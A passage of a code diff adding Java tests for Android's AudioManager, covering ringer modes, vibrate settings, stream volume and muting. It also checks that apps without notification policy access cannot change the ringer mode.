+        mAudioManager.setBluetoothA2dpOn(false);
+        assertEquals(oldA2DP , mAudioManager.isBluetoothA2dpOn());
+
+        assertEquals(-1, mAudioManager.getRouting(MODE_RINGTONE));
+        assertEquals(-1, mAudioManager.getRouting(MODE_NORMAL));
+        assertEquals(-1, mAudioManager.getRouting(MODE_IN_CALL));
+        assertEquals(-1, mAudioManager.getRouting(MODE_IN_COMMUNICATION));
+
+        mAudioManager.setBluetoothScoOn(true);
+        assertTrueCheckTimeout(mAudioManager, p -> p.isBluetoothScoOn(),
+                DEFAULT_ASYNC_CALL_TIMEOUT_MS, "isBluetoothScoOn returned false");
+
+        mAudioManager.setBluetoothScoOn(false);
+        assertTrueCheckTimeout(mAudioManager, p -> !p.isBluetoothScoOn(),
+                DEFAULT_ASYNC_CALL_TIMEOUT_MS, "isBluetoothScoOn returned true");
+
+        //  Speaker Phone Not supported in Automotive
+        if (isAutomotive()) {
+            return;
+        }
+        mAudioManager.setSpeakerphoneOn(true);
+        assertTrueCheckTimeout(mAudioManager, p -> p.isSpeakerphoneOn(),
+                DEFAULT_ASYNC_CALL_TIMEOUT_MS, "isSpeakerPhoneOn() returned false");
+
+        mAudioManager.setSpeakerphoneOn(false);
+        assertTrueCheckTimeout(mAudioManager, p -> !p.isSpeakerphoneOn(),
+                DEFAULT_ASYNC_CALL_TIMEOUT_MS, "isSpeakerPhoneOn() returned true");
+    }
+
+    public void testVibrateNotification() throws Exception {
+        if (mUseFixedVolume || !mHasVibrator) {
+            return;
+        }
+        Utils.toggleNotificationPolicyAccess(
+                mContext.getPackageName(), getInstrumentation(), true);
+        // VIBRATE_SETTING_ON
+        mAudioManager.setVibrateSetting(VIBRATE_TYPE_NOTIFICATION, VIBRATE_SETTING_ON);
+        assertEquals(mHasVibrator ? VIBRATE_SETTING_ON : VIBRATE_SETTING_OFF,
+                mAudioManager.getVibrateSetting(VIBRATE_TYPE_NOTIFICATION));
+        mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
+        assertEquals(mHasVibrator, mAudioManager.shouldVibrate(VIBRATE_TYPE_NOTIFICATION));
+
+        mAudioManager.setRingerMode(RINGER_MODE_SILENT);
+        assertFalse(mAudioManager.shouldVibrate(VIBRATE_TYPE_NOTIFICATION));
+
+        mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
+        assertEquals(mHasVibrator ? RINGER_MODE_VIBRATE : RINGER_MODE_SILENT,
+                mAudioManager.getRingerMode());
+        assertEquals(mHasVibrator, mAudioManager.shouldVibrate(VIBRATE_TYPE_NOTIFICATION));
+
+        // VIBRATE_SETTING_OFF
+        mAudioManager.setVibrateSetting(VIBRATE_TYPE_NOTIFICATION, VIBRATE_SETTING_OFF);
+        assertEquals(VIBRATE_SETTING_OFF,
+                mAudioManager.getVibrateSetting(VIBRATE_TYPE_NOTIFICATION));
+        mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
+        assertFalse(mAudioManager.shouldVibrate(VIBRATE_TYPE_NOTIFICATION));
+
+        mAudioManager.setRingerMode(RINGER_MODE_SILENT);
+        assertFalse(mAudioManager.shouldVibrate(VIBRATE_TYPE_NOTIFICATION));
+
+        mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
+        assertEquals(mHasVibrator ? RINGER_MODE_VIBRATE : RINGER_MODE_SILENT,
+                mAudioManager.getRingerMode());
+        assertFalse(mAudioManager.shouldVibrate(VIBRATE_TYPE_NOTIFICATION));
+
+        // VIBRATE_SETTING_ONLY_SILENT
+        mAudioManager.setVibrateSetting(VIBRATE_TYPE_NOTIFICATION, VIBRATE_SETTING_ONLY_SILENT);
+        assertEquals(mHasVibrator ? VIBRATE_SETTING_ONLY_SILENT : VIBRATE_SETTING_OFF,
+                mAudioManager.getVibrateSetting(VIBRATE_TYPE_NOTIFICATION));
+        mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
+        assertFalse(mAudioManager.shouldVibrate(VIBRATE_TYPE_NOTIFICATION));
+
+        mAudioManager.setRingerMode(RINGER_MODE_SILENT);
+        assertFalse(mAudioManager.shouldVibrate(VIBRATE_TYPE_NOTIFICATION));
+
+        mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
+        assertEquals(mHasVibrator ? RINGER_MODE_VIBRATE : RINGER_MODE_SILENT,
+                mAudioManager.getRingerMode());
+        assertEquals(mHasVibrator, mAudioManager.shouldVibrate(VIBRATE_TYPE_NOTIFICATION));
+
+        // VIBRATE_TYPE_NOTIFICATION
+        mAudioManager.setVibrateSetting(VIBRATE_TYPE_NOTIFICATION, VIBRATE_SETTING_ON);
+        assertEquals(mHasVibrator ? VIBRATE_SETTING_ON : VIBRATE_SETTING_OFF,
+                mAudioManager.getVibrateSetting(VIBRATE_TYPE_NOTIFICATION));
+        mAudioManager.setVibrateSetting(VIBRATE_TYPE_NOTIFICATION, VIBRATE_SETTING_OFF);
+        assertEquals(VIBRATE_SETTING_OFF, mAudioManager
+                .getVibrateSetting(VIBRATE_TYPE_NOTIFICATION));
+        mAudioManager.setVibrateSetting(VIBRATE_TYPE_NOTIFICATION, VIBRATE_SETTING_ONLY_SILENT);
+        assertEquals(mHasVibrator ? VIBRATE_SETTING_ONLY_SILENT : VIBRATE_SETTING_OFF,
+                mAudioManager.getVibrateSetting(VIBRATE_TYPE_NOTIFICATION));
+    }
+
+    public void testVibrateRinger() throws Exception {
+        if (mUseFixedVolume || !mHasVibrator) {
+            return;
+        }
+        Utils.toggleNotificationPolicyAccess(
+                mContext.getPackageName(), getInstrumentation(), true);
+        // VIBRATE_TYPE_RINGER
+        mAudioManager.setVibrateSetting(VIBRATE_TYPE_RINGER, VIBRATE_SETTING_ON);
+        assertEquals(mHasVibrator ? VIBRATE_SETTING_ON : VIBRATE_SETTING_OFF,
+                mAudioManager.getVibrateSetting(VIBRATE_TYPE_RINGER));
+        mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
+        assertEquals(mHasVibrator, mAudioManager.shouldVibrate(VIBRATE_TYPE_RINGER));
+
+        mAudioManager.setRingerMode(RINGER_MODE_SILENT);
+        assertFalse(mAudioManager.shouldVibrate(VIBRATE_TYPE_RINGER));
+
+        mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
+        assertEquals(mHasVibrator ? RINGER_MODE_VIBRATE : RINGER_MODE_SILENT,
+                mAudioManager.getRingerMode());
+        assertEquals(mHasVibrator, mAudioManager.shouldVibrate(VIBRATE_TYPE_RINGER));
+
+        // VIBRATE_SETTING_OFF
+        mAudioManager.setVibrateSetting(VIBRATE_TYPE_RINGER, VIBRATE_SETTING_OFF);
+        assertEquals(VIBRATE_SETTING_OFF, mAudioManager.getVibrateSetting(VIBRATE_TYPE_RINGER));
+        mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
+        assertFalse(mAudioManager.shouldVibrate(VIBRATE_TYPE_RINGER));
+
+        mAudioManager.setRingerMode(RINGER_MODE_SILENT);
+        assertFalse(mAudioManager.shouldVibrate(VIBRATE_TYPE_RINGER));
+
+        mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
+        assertEquals(mHasVibrator ? RINGER_MODE_VIBRATE : RINGER_MODE_SILENT,
+                mAudioManager.getRingerMode());
+        // Note: as of Froyo, if VIBRATE_TYPE_RINGER is set to OFF, it will
+        // not vibrate, even in RINGER_MODE_VIBRATE. This allows users to
+        // disable the vibration for incoming calls only.
+        assertFalse(mAudioManager.shouldVibrate(VIBRATE_TYPE_RINGER));
+
+        // VIBRATE_SETTING_ONLY_SILENT
+        mAudioManager.setVibrateSetting(VIBRATE_TYPE_RINGER, VIBRATE_SETTING_ONLY_SILENT);
+        assertEquals(mHasVibrator ? VIBRATE_SETTING_ONLY_SILENT : VIBRATE_SETTING_OFF,
+                mAudioManager.getVibrateSetting(VIBRATE_TYPE_RINGER));
+        mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
+        assertFalse(mAudioManager.shouldVibrate(VIBRATE_TYPE_RINGER));
+
+        mAudioManager.setRingerMode(RINGER_MODE_SILENT);
+        assertFalse(mAudioManager.shouldVibrate(VIBRATE_TYPE_RINGER));
+
+        mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
+        assertEquals(mHasVibrator ? RINGER_MODE_VIBRATE : RINGER_MODE_SILENT,
+                mAudioManager.getRingerMode());
+        assertEquals(mHasVibrator, mAudioManager.shouldVibrate(VIBRATE_TYPE_RINGER));
+
+        // VIBRATE_TYPE_NOTIFICATION
+        mAudioManager.setVibrateSetting(VIBRATE_TYPE_RINGER, VIBRATE_SETTING_ON);
+        assertEquals(mHasVibrator ? VIBRATE_SETTING_ON : VIBRATE_SETTING_OFF,
+                mAudioManager.getVibrateSetting(VIBRATE_TYPE_RINGER));
+        mAudioManager.setVibrateSetting(VIBRATE_TYPE_RINGER, VIBRATE_SETTING_OFF);
+        assertEquals(VIBRATE_SETTING_OFF, mAudioManager.getVibrateSetting(VIBRATE_TYPE_RINGER));
+        mAudioManager.setVibrateSetting(VIBRATE_TYPE_RINGER, VIBRATE_SETTING_ONLY_SILENT);
+        assertEquals(mHasVibrator ? VIBRATE_SETTING_ONLY_SILENT : VIBRATE_SETTING_OFF,
+                mAudioManager.getVibrateSetting(VIBRATE_TYPE_RINGER));
+    }
+
+    public void testAccessRingMode() throws Exception {
+        Utils.toggleNotificationPolicyAccess(
+                mContext.getPackageName(), getInstrumentation(), true);
+        mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
+        assertEquals(RINGER_MODE_NORMAL, mAudioManager.getRingerMode());
+
+        mAudioManager.setRingerMode(RINGER_MODE_SILENT);
+        // AudioService#setRingerMode() has:
+        // if (isTelevision) return;
+        if (mSkipRingerTests) {
+            assertEquals(RINGER_MODE_NORMAL, mAudioManager.getRingerMode());
+        } else {
+            assertEquals(RINGER_MODE_SILENT, mAudioManager.getRingerMode());
+        }
+
+        mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
+        if (mSkipRingerTests) {
+            assertEquals(RINGER_MODE_NORMAL, mAudioManager.getRingerMode());
+        } else {
+            assertEquals(mHasVibrator ? RINGER_MODE_VIBRATE : RINGER_MODE_SILENT,
+                    mAudioManager.getRingerMode());
+        }
+    }
+
+    public void testSetRingerModePolicyAccess() throws Exception {
+        if (mSkipRingerTests) {
+            return;
+        }
+        // Apps without policy access cannot change silent -> normal or silent -> vibrate.
+        Utils.toggleNotificationPolicyAccess(
+                mContext.getPackageName(), getInstrumentation(), true);
+        mAudioManager.setRingerMode(RINGER_MODE_SILENT);
+        assertEquals(RINGER_MODE_SILENT, mAudioManager.getRingerMode());
+        Utils.toggleNotificationPolicyAccess(
+                mContext.getPackageName(), getInstrumentation(), false);
+
+        try {
+            mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
+            fail("Apps without notification policy access cannot change ringer mode");
+        } catch (SecurityException e) {
+        }
+
+        try {
+            mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
+            fail("Apps without notification policy access cannot change ringer mode");
+        } catch (SecurityException e) {
+        }
+
+        // Apps without policy access cannot change normal -> silent.
+        Utils.toggleNotificationPolicyAccess(
+                mContext.getPackageName(), getInstrumentation(), true);
+        mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
+        assertEquals(RINGER_MODE_NORMAL, mAudioManager.getRingerMode());
+        Utils.toggleNotificationPolicyAccess(
+                mContext.getPackageName(), getInstrumentation(), false);
+
+        try {
+            mAudioManager.setRingerMode(RINGER_MODE_SILENT);
+            fail("Apps without notification policy access cannot change ringer mode");
+        } catch (SecurityException e) {
+        }
+        assertEquals(RINGER_MODE_NORMAL, mAudioManager.getRingerMode());
+
+        if (mHasVibrator) {
+            // Apps without policy access cannot change vibrate -> silent.
+            Utils.toggleNotificationPolicyAccess(
+                    mContext.getPackageName(), getInstrumentation(), true);
+            mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
+            assertEquals(RINGER_MODE_VIBRATE, mAudioManager.getRingerMode());
+            Utils.toggleNotificationPolicyAccess(
+                    mContext.getPackageName(), getInstrumentation(), false);
+
+            try {
+                mAudioManager.setRingerMode(RINGER_MODE_SILENT);
+                fail("Apps without notification policy access cannot change ringer mode");
+            } catch (SecurityException e) {
+            }
+
+            // Apps without policy access can change vibrate -> normal and vice versa.
+            assertEquals(RINGER_MODE_VIBRATE, mAudioManager.getRingerMode());
+            mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
+            assertEquals(RINGER_MODE_NORMAL, mAudioManager.getRingerMode());
+            mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
+            assertEquals(RINGER_MODE_VIBRATE, mAudioManager.getRingerMode());
+        }
+    }
+
+    public void testVolume() throws Exception {
+        if (MediaUtils.check(mIsTelevision, "No volume test due to fixed/full vol devices"))
+            return;
+        Utils.toggleNotificationPolicyAccess(
+                mContext.getPackageName(), getInstrumentation(), true);
+        int volume, volumeDelta;
+        int[] streams = {STREAM_ALARM,
+                STREAM_MUSIC,
+                STREAM_VOICE_CALL,
+                STREAM_RING};
+
+        mAudioManager.adjustVolume(ADJUST_RAISE, 0);
+        // adjusting volume is asynchronous, wait before other volume checks
+        Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
+        mAudioManager.adjustSuggestedStreamVolume(
+                ADJUST_LOWER, USE_DEFAULT_STREAM_TYPE, 0);
+        Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
+        int maxMusicVolume = mAudioManager.getStreamMaxVolume(STREAM_MUSIC);
+
+        for (int stream : streams) {
+            if (mIsSingleVolume && stream != STREAM_MUSIC) {
+                continue;
+            }
+
+            // set ringer mode to back normal to not interfere with volume tests
+            mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
+
+            int maxVolume = mAudioManager.getStreamMaxVolume(stream);
+            int minVolume = mAudioManager.getStreamMinVolume(stream);
+
+            // validate min
+            assertTrue(String.format("minVolume(%d) must be >= 0", minVolume), minVolume >= 0);
+            assertTrue(String.format("minVolume(%d) must be < maxVolume(%d)", minVolume,
+                    maxVolume),
+                    minVolume < maxVolume);
+
+            final int minNonZeroVolume = Math.max(minVolume, 1);
+            mAudioManager.setStreamVolume(stream, minNonZeroVolume, 0);
+            if (mUseFixedVolume) {
+                assertEquals(maxVolume, mAudioManager.getStreamVolume(stream));
+                continue;
+            }
+            assertEquals(String.format("stream=%d", stream),
+                    minNonZeroVolume, mAudioManager.getStreamVolume(stream));
+
+            if (stream == STREAM_MUSIC && mAudioManager.isWiredHeadsetOn()) {
+                // due to new regulations, music sent over a wired headset may be volume limited
+                // until the user explicitly increases the limit, so we can't rely on being able
+                // to set the volume to getStreamMaxVolume(). Instead, determine the current limit
+                // by increasing the volume until it won't go any higher, then use that volume as
+                // the maximum for the purposes of this test
+                int curvol = 0;
+                int prevvol = 0;
+                do {
+                    prevvol = curvol;
+                    mAudioManager.adjustStreamVolume(stream, ADJUST_RAISE, 0);
+                    curvol = mAudioManager.getStreamVolume(stream);
+                } while (curvol != prevvol);
+                maxVolume = maxMusicVolume = curvol;
+            }
+            mAudioManager.setStreamVolume(stream, maxVolume, 0);
+            mAudioManager.adjustStreamVolume(stream, ADJUST_RAISE, 0);
+            assertEquals(maxVolume, mAudioManager.getStreamVolume(stream));
+
+            volumeDelta = getVolumeDelta(mAudioManager.getStreamVolume(stream));
+            mAudioManager.adjustSuggestedStreamVolume(ADJUST_LOWER, stream, 0);
+            assertStreamVolumeEquals(stream, maxVolume - volumeDelta,
+                    "Vol ADJUST_LOWER suggested stream:" + stream + " maxVol:" + maxVolume);
+
+            // volume lower
+            mAudioManager.setStreamVolume(stream, maxVolume, 0);
+            volume = mAudioManager.getStreamVolume(stream);
+            while (volume > minVolume) {
+                volumeDelta = getVolumeDelta(mAudioManager.getStreamVolume(stream));
+                mAudioManager.adjustStreamVolume(stream, ADJUST_LOWER, 0);
+                assertStreamVolumeEquals(stream,  Math.max(0, volume - volumeDelta),
+                        "Vol ADJUST_LOWER on stream:" + stream + " vol:" + volume
+                                + " minVol:" + minVolume + " volDelta:" + volumeDelta);
+                volume = mAudioManager.getStreamVolume(stream);
+            }
+
+            mAudioManager.adjustStreamVolume(stream, ADJUST_SAME, 0);
+
+            // volume raise
+            mAudioManager.setStreamVolume(stream, minNonZeroVolume, 0);
+            volume = mAudioManager.getStreamVolume(stream);
+            while (volume < maxVolume) {
+                volumeDelta = getVolumeDelta(mAudioManager.getStreamVolume(stream));
+                mAudioManager.adjustStreamVolume(stream, ADJUST_RAISE, 0);
+                assertStreamVolumeEquals(stream,   Math.min(volume + volumeDelta, maxVolume),
+                        "Vol ADJUST_RAISE on stream:" + stream + " vol:" + volume
+                                + " maxVol:" + maxVolume + " volDelta:" + volumeDelta);
+                volume = mAudioManager.getStreamVolume(stream);
+            }
+
+            // volume same
+            mAudioManager.setStreamVolume(stream, maxVolume, 0);
+            mAudioManager.adjustStreamVolume(stream, ADJUST_SAME, 0);
+            Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
+            assertEquals("Vol ADJUST_RAISE onADJUST_SAME stream:" + stream,
+                    maxVolume, mAudioManager.getStreamVolume(stream));
+
+            mAudioManager.setStreamVolume(stream, maxVolume, 0);
+        }
+
+        if (mUseFixedVolume) {
+            return;
+        }
+
+        // adjust volume
+        mAudioManager.adjustVolume(ADJUST_RAISE, 0);
+        Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
+
+        boolean isMusicPlayingBeforeTest = false;
+        if (mAudioManager.isMusicActive()) {
+            isMusicPlayingBeforeTest = true;
+        }
+
+        MediaPlayer mp = MediaPlayer.create(mContext, MP3_TO_PLAY);
+        assertNotNull(mp);
+        mp.setAudioStreamType(STREAM_MUSIC);
+        mp.setLooping(true);
+        mp.start();
+        assertMusicActive(true);
+
+        // adjust volume as ADJUST_SAME
+        mAudioManager.adjustVolume(ADJUST_SAME, 0);
+        Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
+        assertStreamVolumeEquals(STREAM_MUSIC, maxMusicVolume);
+
+        // adjust volume as ADJUST_RAISE
+        mAudioManager.setStreamVolume(STREAM_MUSIC, 0, 0);
+        volumeDelta = getVolumeDelta(mAudioManager.getStreamVolume(STREAM_MUSIC));
+        mAudioManager.adjustVolume(ADJUST_RAISE, 0);
+        Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
+        assertStreamVolumeEquals(STREAM_MUSIC, Math.min(volumeDelta, maxMusicVolume));
+
+        // adjust volume as ADJUST_LOWER
+        mAudioManager.setStreamVolume(STREAM_MUSIC, maxMusicVolume, 0);
+        maxMusicVolume = mAudioManager.getStreamVolume(STREAM_MUSIC);
+        volumeDelta = getVolumeDelta(mAudioManager.getStreamVolume(STREAM_MUSIC));
+        mAudioManager.adjustVolume(ADJUST_LOWER, 0);
+        assertStreamVolumeEquals(STREAM_MUSIC, Math.max(0, maxMusicVolume - volumeDelta));
+
+        mp.stop();
+        mp.release();
+        if (!isMusicPlayingBeforeTest) {
+            assertMusicActive(false);
+        }
+    }
+
+    public void testAccessibilityVolume() throws Exception {
+        if (mUseFixedVolume) {
+            Log.i("AudioManagerTest", "testAccessibilityVolume() skipped: fixed volume");
+            return;
+        }
+        final int maxA11yVol = mAudioManager.getStreamMaxVolume(STREAM_ACCESSIBILITY);
+        assertTrue("Max a11yVol not strictly positive", maxA11yVol > 0);
+        int originalVol = mAudioManager.getStreamVolume(STREAM_ACCESSIBILITY);
+
+        // changing STREAM_ACCESSIBILITY is subject to permission, shouldn't be able to change it
+        // test setStreamVolume
+        final int testSetVol;
+        if (originalVol != maxA11yVol) {
+            testSetVol = maxA11yVol;
+        } else {
+            testSetVol = maxA11yVol - 1;
+        }
+        mAudioManager.setStreamVolume(STREAM_ACCESSIBILITY, testSetVol, 0);
+        assertStreamVolumeEquals(STREAM_ACCESSIBILITY, originalVol,
+                "Should not be able to change A11y vol");
+
+        // test adjustStreamVolume
+        //        LOWER
+        if (originalVol > 0) {
+            mAudioManager.adjustStreamVolume(STREAM_ACCESSIBILITY, ADJUST_LOWER, 0);
+            assertStreamVolumeEquals(STREAM_ACCESSIBILITY, originalVol,
+                    "Should not be able to change A11y vol");
+        }
+        //        RAISE
+        if (originalVol < maxA11yVol) {
+            mAudioManager.adjustStreamVolume(STREAM_ACCESSIBILITY, ADJUST_RAISE, 0);
+            assertStreamVolumeEquals(STREAM_ACCESSIBILITY, originalVol,
+                    "Should not be able to change A11y vol");
+        }
+    }
+
+    public void testSetVoiceCallVolumeToZeroPermission() {
+        // Verify that only apps with MODIFY_PHONE_STATE can set VOICE_CALL_STREAM to 0
+        mAudioManager.setStreamVolume(STREAM_VOICE_CALL, 0, 0);
+        assertTrue("MODIFY_PHONE_STATE is required in order to set voice call volume to 0",
+                    mAudioManager.getStreamVolume(STREAM_VOICE_CALL) != 0);
+    }
+
+    public void testMuteFixedVolume() throws Exception {
+        int[] streams = {
+                STREAM_VOICE_CALL,
+                STREAM_MUSIC,
+                STREAM_RING,
+                STREAM_ALARM,
+                STREAM_NOTIFICATION,
+                STREAM_SYSTEM};
+        if (mUseFixedVolume) {
+            for (int stream : streams) {
+                mAudioManager.adjustStreamVolume(stream, AudioManager.ADJUST_MUTE, 0);
+                assertFalse("Muting should not affect a fixed volume device.",
+                        mAudioManager.isStreamMute(stream));
+
+                mAudioManager.adjustStreamVolume(stream, AudioManager.ADJUST_TOGGLE_MUTE, 0);
+                assertFalse("Toggling mute should not affect a fixed volume device.",
+                        mAudioManager.isStreamMute(stream));
+
+                mAudioManager.setStreamMute(stream, true);
+                assertFalse("Muting should not affect a fixed volume device.",
+                        mAudioManager.isStreamMute(stream));
+            }
+        }
+    }
+
+    public void testMuteDndAffectedStreams() throws Exception {
+        if (mSkipRingerTests) {
+            return;
+        }
+        int[] streams = { STREAM_RING };
+        // Mute streams
+        Utils.toggleNotificationPolicyAccess(
+                mContext.getPackageName(), getInstrumentation(), true);
+        mAudioManager.setRingerMode(RINGER_MODE_SILENT);
+        Utils.toggleNotificationPolicyAccess(
+                mContext.getPackageName(), getInstrumentation(), false);
+        // Verify streams cannot be unmuted without policy access.
+        for (int stream : streams) {
+            try {
+                mAudioManager.adjustStreamVolume(stream, AudioManager.ADJUST_UNMUTE, 0);
+                assertEquals("Apps without Notification policy access can't change ringer mode",
+                        RINGER_MODE_SILENT, mAudioManager.getRingerMode());
+            } catch (SecurityException e) {
+            }
+
+            try {
+                mAudioManager.adjustStreamVolume(stream, AudioManager.ADJUST_TOGGLE_MUTE,
+                        0);
+                assertEquals("Apps without Notification policy access can't change ringer mode",
+                        RINGER_MODE_SILENT, mAudioManager.getRingerMode());
+            } catch (SecurityException e) {
+            }
+
+            try {
+                mAudioManager.setStreamMute(stream, false);
+                assertEquals("Apps without Notification policy access can't change ringer mode",
+                        RINGER_MODE_SILENT, mAudioManager.getRingerMode());
+            } catch (SecurityException e) {
+            }
+        }
+
+        // This ensures we're out of vibrate or silent modes.
+        Utils.toggleNotificationPolicyAccess(
+                mContext.getPackageName(), getInstrumentation(), true);
+        mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
+        for (int stream : streams) {
+            // ensure each stream is on and turned up.
+            mAudioManager.setStreamVolume(stream,
+                    mAudioManager.getStreamMaxVolume(stream),
+                    0);
+
+            Utils.toggleNotificationPolicyAccess(
+                    mContext.getPackageName(), getInstrumentation(), false);
+            try {
+                mAudioManager.adjustStreamVolume(stream, AudioManager.ADJUST_MUTE, 0);
+                assertEquals("Apps without Notification policy access can't change ringer mode",
+                        RINGER_MODE_NORMAL, mAudioManager.getRingerMode());
+            } catch (SecurityException e) {
+            }
+            try {
+                mAudioManager.adjustStreamVolume(
+                        stream, AudioManager.ADJUST_TOGGLE_MUTE, 0);
+                assertEquals("Apps without Notification policy access can't change ringer mode",
+                        RINGER_MODE_NORMAL, mAudioManager.getRingerMode());
+            } catch (SecurityException e) {
+            }
+
+            try {
+                mAudioManager.setStreamMute(stream, true);
+                assertEquals("Apps without Notification policy access can't change ringer mode",
+                        RINGER_MODE_NORMAL, mAudioManager.getRingerMode());
+            } catch (SecurityException e) {
+            }
+            Utils.toggleNotificationPolicyAccess(
+                    mContext.getPackageName(), getInstrumentation(), true);
+            testStreamMuting(stream);
+        }
+    }
+
+    public void testMuteDndUnaffectedStreams() throws Exception {
+        if (mSkipRingerTests) {
+            return;
+        }
+        int[] streams = {
+                STREAM_VOICE_CALL,
+                STREAM_MUSIC,
+                STREAM_ALARM
+        };
+
+        int muteAffectedStreams = System.getInt(mContext.getContentResolver(),
+                System.MUTE_STREAMS_AFFECTED,
+                // same defaults as in AudioService. Should be kept in sync.
+                 (1 << STREAM_MUSIC) |
+                         (1 << STREAM_RING) |
+                         (1 << STREAM_NOTIFICATION) |
+                         (1 << STREAM_SYSTEM) |
+                         (1 << STREAM_VOICE_CALL));
+
+        Utils.toggleNotificationPolicyAccess(
+                mContext.getPackageName(), getInstrumentation(), true);
+        // This ensures we're out of vibrate or silent modes.
+        mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
+        Utils.toggleNotificationPolicyAccess(
+                mContext.getPackageName(), getInstrumentation(), false);
+        for (int stream : streams) {
+            // ensure each stream is on and turned up.
+            mAudioManager.setStreamVolume(stream,
+                    mAudioManager.getStreamMaxVolume(stream),
+                    0);
+            if (((1 << stream) & muteAffectedStreams) == 0) {
+                mAudioManager.adjustStreamVolume(stream, AudioManager.ADJUST_MUTE, 0);
+                assertFalse("Stream " + stream + " should not be affected by mute.",
+                        mAudioManager.isStreamMute(stream));
+                mAudioManager.setStreamMute(stream, true);
+                assertFalse("Stream " + stream + " should not be affected by mute.",
+                        mAudioManager.isStreamMute(stream));
+                mAudioManager.adjustStreamVolume(stream, AudioManager.ADJUST_TOGGLE_MUTE,
+                        0);
+                assertFalse("Stream " + stream + " should not be affected by mute.",
+                        mAudioManager.isStreamMute(stream));
+                continue;
+            }
+            testStreamMuting(stream);
+        }
+    }
+
+    private void testStreamMuting(int stream) {
+        getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity(Manifest.permission.QUERY_AUDIO_STATE);
+
+        final int streamVolume = mAudioManager.getLastAudibleStreamVolume(stream);
+
+        // Voice call requires MODIFY_PHONE_STATE, so we should not be able to mute
+        if (stream == STREAM_VOICE_CALL) {
+            mAudioManager.adjustStreamVolume(stream, AudioManager.ADJUST_MUTE, 0);
+            assertFalse("Muting voice call stream (" + stream + ") should require "
+                            + "MODIFY_PHONE_STATE.", mAudioManager.isStreamMute(stream));
+        } else {
+            mAudioManager.adjustStreamVolume(stream, AudioManager.ADJUST_MUTE, 0);
+            assertTrue("Muting stream " + stream + " failed.",
+                    mAudioManager.isStreamMute(stream));
+
+            assertEquals(streamVolume, mAudioManager.getLastAudibleStreamVolume(stream));
+
+            mAudioManager.adjustStreamVolume(stream, AudioManager.ADJUST_UNMUTE, 0);
+            assertFalse("Unmuting stream " + stream + " failed.",
+                    mAudioManager.isStreamMute(stream));
+
+            assertEquals(streamVolume, mAudioManager.getLastAudibleStreamVolume(stream));
+
+            mAudioManager.adjustStreamVolume(stream, AudioManager.ADJUST_TOGGLE_MUTE, 0);
+            assertTrue("Toggling mute on stream " + stream + " failed.",
+                    mAudioManager.isStreamMute(stream));
+
+            assertEquals(streamVolume, mAudioManager.getLastAudibleStreamVolume(stream));
+
+            mAudioManager.adjustStreamVolume(stream, AudioManager.ADJUST_TOGGLE_MUTE, 0);
+            assertFalse("Toggling mute on stream " + stream + " failed.",
+                    mAudioManager.isStreamMute(stream));
+
+            assertEquals(streamVolume, mAudioManager.getLastAudibleStreamVolume(stream));
+
+            mAudioManager.setStreamMute(stream, true);
+            assertTrue("Muting stream " + stream + " using setStreamMute failed",
+                    mAudioManager.isStreamMute(stream));
+
+            assertEquals(streamVolume, mAudioManager.getLastAudibleStreamVolume(stream));
+
+            // mute it three more times to verify the ref counting is gone.
+            mAudioManager.setStreamMute(stream, true);
+            mAudioManager.setStreamMute(stream, true);
+            mAudioManager.setStreamMute(stream, true);
+
+            mAudioManager.setStreamMute(stream, false);
+            assertFalse("Unmuting stream " + stream + " using setStreamMute failed.",
+                    mAudioManager.isStreamMute(stream));
+        }
+        assertEquals(streamVolume, mAudioManager.getLastAudibleStreamVolume(stream));
+
+        getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
+    }
+
+    public void testSetInvalidRingerMode() {
+        int ringerMode = mAudioManager.getRingerMode();
+        mAudioManager.setRingerMode(-1337);
+        assertEquals(ringerMode, mAudioManager.getRingerMode());
+
+        mAudioManager.setRingerMode(-3007);
+        assertEquals(ringerMode, mAudioManager.getRingerMode());
+    }
+
+    public void testAdjustVolumeInTotalSilenceMode() throws Exception {
+        if (mSkipRingerTests) {
+            return;
+        }
+        try {
+            Utils.toggleNotificationPolicyAccess(
+                    mContext.getPackageName(), getInstrumentation(), true);
+            mAudioManager.setStreamVolume(STREAM_MUSIC, 1, 0);
+            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_NONE);
+            Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
+            int musicVolume = mAudioManager.getStreamVolume(STREAM_MUSIC);
+            mAudioManager.adjustStreamVolume(
+                    STREAM_MUSIC, ADJUST_RAISE, 0);
+            assertStreamVolumeEquals(STREAM_MUSIC, musicVolume);
+
+        } finally {
+            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
+        }
+    }
+
+    public void testAdjustVolumeInAlarmsOnlyMode() throws Exception {
+        if (mSkipRingerTests) {
+            return;
+        }
+        try {
+            Utils.toggleNotificationPolicyAccess(
+                    mContext.getPackageName(), getInstrumentation(), true);
+            mAudioManager.setStreamVolume(STREAM_MUSIC, 1, 0);
+
+            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALARMS);
+            Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
